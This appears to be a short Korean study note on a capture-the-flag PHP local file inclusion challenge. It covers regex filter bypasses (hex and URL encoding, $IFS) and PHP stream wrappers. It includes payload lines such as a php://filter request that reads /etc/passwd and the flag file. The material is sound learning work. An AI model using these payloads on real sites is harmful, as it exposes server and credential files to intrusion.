file=../uploads/flag.php
위를 입력하면 되는데 flag가 필터링된다
정규식 공부를 해보자 일단 여기에서 쓰인 건 /flag|:/i인데 flag|:는 flag와 : 중에서 하나를 찾는다는 의미이다. i는 대소문자 구분하지 않고 검색한다는 뜻이다 flag, FLAG, Flag 모두 포함
그렇다면 스트링 우회 기법을 써보자 Hex/Ascii Converter
char(0x666c6167) 0x666c6167 %66lag.php
i 옵션 우회는 모르겠고 m 옵션은 개행 대신 ; 써주면 된다고 한다 공백은 $IFS
이 필터링 우회는 view 페이지가 아닌 ?page로 값을 넘겨줘야 한다. ?page=/var/www/uploads/flag.php 가 안되길래 마지막 확장자 제거 Can you see $flag?라고 뜸
LFI 취약점에 대해 더 공부해야 한다. 서버 측 script 언어에서 발생하는 취약점 -> 애플리케이션의 입력 검증 부족 php에서는 include 사용하면 input에 대한 필터링 존재하지 않아서 발생
php wrapper를 활용해서 공격할 수 있다고 함
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams
expect, php://filter/, zip://을 주로 쓴다
- expect:// system command 실행시킴
- php://filter/ www.[웹사이트주소]/?file=php://filter/convert.base64-encode/resource= 위를 입력하면 인코딩 파일 얻을 수 있음
- zip:// zip 파일 압출을 풀고 파일 안 코드 실행시킴
www.[우리가 공격할 웹 사이트의 주소].index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd 이렇게 쓸 수 있다고 함
?page=php://filter/convert.base64-encode/resource= /var/www/uploads/flag.php
